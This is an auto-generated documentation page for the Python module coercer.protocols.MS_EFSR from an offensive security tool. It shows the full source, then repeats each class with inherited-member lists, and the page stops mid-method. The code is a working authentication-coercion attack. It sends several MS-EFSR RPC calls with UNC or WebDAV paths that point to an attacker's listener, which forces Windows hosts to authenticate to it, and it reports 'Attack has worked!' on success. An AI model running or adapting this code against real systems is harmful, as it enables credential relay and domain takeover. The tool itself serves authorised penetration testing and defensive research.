coercer.protocols.MS_EFSR

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3# File name          : MS_EFSR.py
  4# Author             : Podalirius (@podalirius_)
  5# Date created       : 6 Jul 2022
  6
  7
  8import sys
  9import time
 10import random
 11from coercer.utils.RPCProtocol import RPCProtocol, DCERPCSessionError
 12from impacket.dcerpc.v5.ndr import NDRCALL
 13from impacket.dcerpc.v5.dtypes import WSTR, DWORD, LONG
 14from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
 15
 16
 17def gen_random_name(length=8):
 18    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
 19    name = ""
 20    for k in range(length):
 21        name += random.choice(alphabet)
 22    return name
 23
 24
 25class EfsRpcEncryptFileSrv(NDRCALL):
 26    opnum = 4
 27    structure = (
 28        ('FileName', WSTR),  # Type: wchar_t *
 29    )
 30
 31
 32class EfsRpcEncryptFileSrvResponse(NDRCALL):
 33    structure = ()
 34
 35
 36class EfsRpcDecryptFileSrv(NDRCALL):
 37    opnum = 5
 38    structure = (
 39        ('FileName', WSTR),  # Type: wchar_t *
 40        ('long', LONG),      # Type: unsigned
 41    )
 42
 43
 44class EfsRpcDecryptFileSrvResponse(NDRCALL):
 45    structure = ()
 46
 47
 48class EfsRpcFileKeyInfo(NDRCALL):
 49    opnum = 12
 50    structure = (
 51        ('FileName', WSTR),   # Type: wchar_t *
 52        ('InfoClass', DWORD)  # Type: DWORD
 53    )
 54
 55
 56class EfsRpcFileKeyInfoResponse(NDRCALL):
 57    structure = ()
 58
 59
 60class EfsRpcOpenFileRaw(NDRCALL):
 61    opnum = 0
 62    structure = (
 63        ('FileName', WSTR),  # Type: wchar_t *
 64        ('Flags', LONG),     # Type: long
 65    )
 66
 67
 68class EfsRpcOpenFileRawResponse(NDRCALL):
 69    structure = ()
 70
 71
 72class EfsRpcQueryRecoveryAgents(NDRCALL):
 73    opnum = 7
 74    structure = (
 75        ('FileName', WSTR),  # Type: wchar_t *
 76    )
 77
 78
 79class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
 80    structure = ()
 81
 82
 83class EfsRpcQueryUsersOnFile(NDRCALL):
 84    opnum = 6
 85    structure = (
 86        ('FileName', WSTR),  # Type: wchar_t *
 87    )
 88
 89
 90class EfsRpcQueryUsersOnFileResponse(NDRCALL):
 91    structure = ()
 92
 93
 94class MS_EFSR(RPCProtocol):
 95    name = "[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol"
 96    shortname = "MS-EFSR"
 97    uuid = "c681d488-d850-11d0-8c52-00c04fd90f7e"
 98    version = "1.0"
 99    available_pipes = [r"\PIPE\lsarpc", r"\PIPE\efsrpc"]
100
101    auth_type = RPC_C_AUTHN_WINNT
102    auth_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
103
104    def EfsRpcOpenFileRaw(self, listener, max_retries=3):
105        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8
106        # Finding credits: @topotam77
107        call_name, call_opnum = "EfsRpcOpenFileRaw", 0
108        if self.dce is not None:
109            tries = 0
110            while tries <= max_retries:
111                tries += 1
112                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
113                sys.stdout.flush()
114                try:
115                    request = EfsRpcOpenFileRaw()
116                    if self.webdav_host is not None and self.webdav_port is not None:
117                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
118                    else:
119                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
120                    request['Flags'] = 0
121                    if self.debug:
122                        request.dump()
123                    self.dce.request(request)
124                except Exception as e:
125                    if "ERROR_INVALID_NAME" in str(e):
126                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
127                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
128                        time.sleep(20)
129                    elif "ERROR_BAD_NETPATH" in str(e):
130                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
131                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
132                        return True
133                    elif "rpc_s_access_denied" in str(e):
134                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
135                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
136                        return False
137                    elif "nca_s_unk_if" in str(e):
138                        # nca_s_unk_if
139                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
140                        return False
141                    else:
142                        print("\x1b[1;91m%s\x1b[0m" % str(e))
143                        if self.debug:
144                            pass
145        else:
146            print("[!] Error: dce is None, you must call connect() first.")
147
148    def EfsRpcEncryptFileSrv(self, listener, max_retries=3):
149        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/0d599976-758c-4dbd-ac8c-c9db2a922d76
150        # Finding credits: @topotam77
151        call_name, call_opnum = "EfsRpcEncryptFileSrv", 4
152        if self.dce is not None:
153            tries = 0
154            while tries <= max_retries:
155                tries += 1
156                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
157                sys.stdout.flush()
158                try:
159                    request = EfsRpcEncryptFileSrv()
160                    if self.webdav_host is not None and self.webdav_port is not None:
161                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
162                    else:
163                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
164                    if self.debug:
165                        request.dump()
166                    self.dce.request(request)
167                except Exception as e:
168                    if "ERROR_INVALID_NAME" in str(e):
169                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
170                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
171                        time.sleep(20)
172                    elif "ERROR_BAD_NETPATH" in str(e):
173                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
174                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
175                        return True
176                    elif "rpc_s_access_denied" in str(e):
177                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
178                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
179                        return False
180                    elif "nca_s_unk_if" in str(e):
181                        # nca_s_unk_if
182                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
183                        return False
184                    else:
185                        print("\x1b[1;91m%s\x1b[0m" % str(e))
186                        if self.debug:
187                            pass
188        else:
189            if self.verbose:
190                print("   [!] Error: dce is None, you must call connect() first.")
191
192    def EfsRpcDecryptFileSrv(self, listener, max_retries=3):
193        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/043715de-caee-402a-a61b-921743337e78
194        # Finding credits: @topotam77
195        call_name, call_opnum = "EfsRpcDecryptFileSrv", 5
196        if self.dce is not None:
197            tries = 0
198            while tries <= max_retries:
199                tries += 1
200                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
201                sys.stdout.flush()
202                try:
203                    request = EfsRpcDecryptFileSrv()
204                    if self.webdav_host is not None and self.webdav_port is not None:
205                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
206                    else:
207                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
208                    request['long'] = 0
209                    if self.debug:
210                        request.dump()
211                    self.dce.request(request)
212                except Exception as e:
213                    if "ERROR_INVALID_NAME" in str(e):
214                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
215                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
216                        time.sleep(20)
217                    elif "ERROR_BAD_NETPATH" in str(e):
218                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
219                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
220                        return True
221                    elif "rpc_s_access_denied" in str(e):
222                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
223                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
224                        return False
225                    elif "nca_s_unk_if" in str(e):
226                        # nca_s_unk_if
227                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
228                        return False
229                    else:
230                        print("\x1b[1;91m%s\x1b[0m" % str(e))
231                        if self.debug:
232                            pass
233        else:
234            print("[!] Error: dce is None, you must call connect() first.")
235
236    def EfsRpcQueryUsersOnFile(self, listener, max_retries=3):
237        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/a058dc6c-bb7e-491c-9143-a5cb1f7e7cea
238        # Finding credits: @topotam77
239        call_name, call_opnum = "EfsRpcQueryUsersOnFile", 6
240        if self.dce is not None:
241            tries = 0
242            while tries <= max_retries:
243                tries += 1
244                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
245                sys.stdout.flush()
246                try:
247                    request = EfsRpcQueryUsersOnFile()
248                    if self.webdav_host is not None and self.webdav_port is not None:
249                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
250                    else:
251                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
252                    if self.debug:
253                        request.dump()
254                    self.dce.request(request)
255                except Exception as e:
256                    if "ERROR_INVALID_NAME" in str(e):
257                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
258                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
259                        time.sleep(20)
260                    elif "ERROR_BAD_NETPATH" in str(e):
261                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
262                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
263                        return True
264                    elif "rpc_s_access_denied" in str(e):
265                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
266                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
267                        return False
268                    elif "nca_s_unk_if" in str(e):
269                        # nca_s_unk_if
270                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
271                        return False
272                    else:
273                        print("\x1b[1;91m%s\x1b[0m" % str(e))
274                        if self.debug:
275                            pass
276        else:
277            print("[!] Error: dce is None, you must call connect() first.")
278        return False
279
280    def EfsRpcQueryRecoveryAgents(self, listener, max_retries=3):
281        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/cf759c00-1b90-4c33-9ace-f51c20149cea
282        # Finding credits: @topotam77
283        call_name, call_opnum = "EfsRpcQueryRecoveryAgents", 7
284        if self.dce is not None:
285            tries = 0
286            while tries <= max_retries:
287                tries += 1
288                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
289                sys.stdout.flush()
290                try:
291                    request = EfsRpcQueryRecoveryAgents()
292                    if self.webdav_host is not None and self.webdav_port is not None:
293                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
294                    else:
295                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
296                    if self.debug:
297                        request.dump()
298                    self.dce.request(request)
299                except Exception as e:
300                    if "ERROR_INVALID_NAME" in str(e):
301                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
302                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
303                        time.sleep(20)
304                    elif "ERROR_BAD_NETPATH" in str(e):
305                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
306                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
307                        return True
308                    elif "rpc_s_access_denied" in str(e):
309                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
310                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
311                        return False
312                    elif "nca_s_unk_if" in str(e):
313                        # nca_s_unk_if
314                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
315                        return False
316                    else:
317                        print("\x1b[1;91m%s\x1b[0m" % str(e))
318                        if self.debug:
319                            pass
320        else:
321            print("[!] Error: dce is None, you must call connect() first.")
322
323    def EfsRpcFileKeyInfo(self, listener, max_retries=3):
324        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/6813bfa8-1538-4c5f-982a-ad58caff3c1c
325        # Finding credits: @topotam77
326        call_name, call_opnum = "EfsRpcEncryptFileSrv", 12
327        if self.dce is not None:
328            tries = 0
329            while tries <= max_retries:
330                tries += 1
331                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
332                sys.stdout.flush()
333                try:
334                    request = EfsRpcFileKeyInfo()
335                    if self.webdav_host is not None and self.webdav_port is not None:
336                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
337                    else:
338                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
339                    request['InfoClass'] = 0
340                    if self.debug:
341                        request.dump()
342                    self.dce.request(request)
343                except Exception as e:
344                    if "ERROR_INVALID_NAME" in str(e):
345                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
346                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
347                        time.sleep(20)
348                    elif "ERROR_BAD_NETPATH" in str(e):
349                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
350                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
351                        return True
352                    elif "rpc_s_access_denied" in str(e):
353                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
354                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
355                        return False
356                    elif "nca_s_unk_if" in str(e):
357                        # nca_s_unk_if
358                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
359                        return False
360                    else:
361                        print("\x1b[1;91m%s\x1b[0m" % str(e))
362                        if self.debug:
363                            pass
364        else:
365            print("[!] Error: dce is None, you must call connect() first.")
366
367    @classmethod
368    def list_coerce_methods(cls):
369        return [
370            ("EfsRpcOpenFileRaw", 0, None),
371            ("EfsRpcEncryptFileSrv", 4, None),
372            ("EfsRpcDecryptFileSrv", 5, None),
373            ("EfsRpcQueryUsersOnFile", 6, None),
374            ("EfsRpcQueryRecoveryAgents", 7, None),
375            ("EfsRpcFileKeyInfo", 12, None)
376        ]
377
378    def perform_coerce_calls(self, listener):
379        self.EfsRpcOpenFileRaw(listener)
380        self.EfsRpcEncryptFileSrv(listener)
381        self.EfsRpcDecryptFileSrv(listener)
382        self.EfsRpcQueryUsersOnFile(listener)
383        self.EfsRpcQueryRecoveryAgents(listener)
384        self.EfsRpcFileKeyInfo(listener)
def gen_random_name(length=8):
18def gen_random_name(length=8):
19    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
20    name = ""
21    for k in range(length):
22        name += random.choice(alphabet)
23    return name
class EfsRpcEncryptFileSrv(impacket.dcerpc.v5.ndr.NDRCALL):
26class EfsRpcEncryptFileSrv(NDRCALL):
27    opnum = 4
28    structure = (
29        ('FileName', WSTR),  # Type: wchar_t *
30    )

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcEncryptFileSrvResponse(impacket.dcerpc.v5.ndr.NDRCALL):
33class EfsRpcEncryptFileSrvResponse(NDRCALL):
34    structure = ()

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcDecryptFileSrv(impacket.dcerpc.v5.ndr.NDRCALL):
37class EfsRpcDecryptFileSrv(NDRCALL):
38    opnum = 5
39    structure = (
40        ('FileName', WSTR),  # Type: wchar_t *
41        ('long', LONG),      # Type: unsigned
42    )

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcDecryptFileSrvResponse(impacket.dcerpc.v5.ndr.NDRCALL):
45class EfsRpcDecryptFileSrvResponse(NDRCALL):
46    structure = ()

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcFileKeyInfo(impacket.dcerpc.v5.ndr.NDRCALL):
49class EfsRpcFileKeyInfo(NDRCALL):
50    opnum = 12
51    structure = (
52        ('FileName', WSTR),   # Type: wchar_t *
53        ('InfoClass', DWORD)  # Type: DWORD
54    )

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcFileKeyInfoResponse(impacket.dcerpc.v5.ndr.NDRCALL):
57class EfsRpcFileKeyInfoResponse(NDRCALL):
58    structure = ()

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcOpenFileRaw(impacket.dcerpc.v5.ndr.NDRCALL):
61class EfsRpcOpenFileRaw(NDRCALL):
62    opnum = 0
63    structure = (
64        ('FileName', WSTR),  # Type: wchar_t *
65        ('Flags', LONG),     # Type: long
66    )

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcOpenFileRawResponse(impacket.dcerpc.v5.ndr.NDRCALL):
69class EfsRpcOpenFileRawResponse(NDRCALL):
70    structure = ()

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcQueryRecoveryAgents(impacket.dcerpc.v5.ndr.NDRCALL):
73class EfsRpcQueryRecoveryAgents(NDRCALL):
74    opnum = 7
75    structure = (
76        ('FileName', WSTR),  # Type: wchar_t *
77    )

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcQueryRecoveryAgentsResponse(impacket.dcerpc.v5.ndr.NDRCALL):
80class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
81    structure = ()

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcQueryUsersOnFile(impacket.dcerpc.v5.ndr.NDRCALL):
84class EfsRpcQueryUsersOnFile(NDRCALL):
85    opnum = 6
86    structure = (
87        ('FileName', WSTR),  # Type: wchar_t *
88    )

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class EfsRpcQueryUsersOnFileResponse(impacket.dcerpc.v5.ndr.NDRCALL):
91class EfsRpcQueryUsersOnFileResponse(NDRCALL):
92    structure = ()

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class MS_EFSR(coercer.utils.RPCProtocol.RPCProtocol):
 95class MS_EFSR(RPCProtocol):
 96    name = "[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol"
 97    shortname = "MS-EFSR"
 98    uuid = "c681d488-d850-11d0-8c52-00c04fd90f7e"
 99    version = "1.0"
100    available_pipes = [r"\PIPE\lsarpc", r"\PIPE\efsrpc"]
101
102    auth_type = RPC_C_AUTHN_WINNT
103    auth_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
104
105    def EfsRpcOpenFileRaw(self, listener, max_retries=3):
106        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8
107        # Finding credits: @topotam77
108        call_name, call_opnum = "EfsRpcOpenFileRaw", 0
109        if self.dce is not None:
110            tries = 0
111            while tries <= max_retries:
112                tries += 1
113                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
114                sys.stdout.flush()
115                try:
116                    request = EfsRpcOpenFileRaw()
117                    if self.webdav_host is not None and self.webdav_port is not None:
118                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
119                    else:
120                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
121                    request['Flags'] = 0
122                    if self.debug:
123                        request.dump()
124                    self.dce.request(request)
125                except Exception as e:
126                    if "ERROR_INVALID_NAME" in str(e):
127                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
128                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
129                        time.sleep(20)
130                    elif "ERROR_BAD_NETPATH" in str(e):
131                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
132                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
133                        return True
134                    elif "rpc_s_access_denied" in str(e):
135                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
136                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
137                        return False
138                    elif "nca_s_unk_if" in str(e):
139                        # nca_s_unk_if
140                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
141                        return False
142                    else:
143                        print("\x1b[1;91m%s\x1b[0m" % str(e))
144                        if self.debug:
145                            pass
146        else:
147            print("[!] Error: dce is None, you must call connect() first.")
148
149    def EfsRpcEncryptFileSrv(self, listener, max_retries=3):
150        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/0d599976-758c-4dbd-ac8c-c9db2a922d76
151        # Finding credits: @topotam77
152        call_name, call_opnum = "EfsRpcEncryptFileSrv", 4
153        if self.dce is not None:
154            tries = 0
155            while tries <= max_retries:
156                tries += 1
157                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
158                sys.stdout.flush()
159                try:
160                    request = EfsRpcEncryptFileSrv()
161                    if self.webdav_host is not None and self.webdav_port is not None:
162                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
163                    else:
164                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
165                    if self.debug:
166                        request.dump()
167                    self.dce.request(request)
168                except Exception as e:
169                    if "ERROR_INVALID_NAME" in str(e):
170                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
171                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
172                        time.sleep(20)
173                    elif "ERROR_BAD_NETPATH" in str(e):
174                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
175                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
176                        return True
177                    elif "rpc_s_access_denied" in str(e):
178                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
179                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
180                        return False
181                    elif "nca_s_unk_if" in str(e):
182                        # nca_s_unk_if
183                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
184                        return False
185                    else:
186                        print("\x1b[1;91m%s\x1b[0m" % str(e))
187                        if self.debug:
188                            pass
189        else:
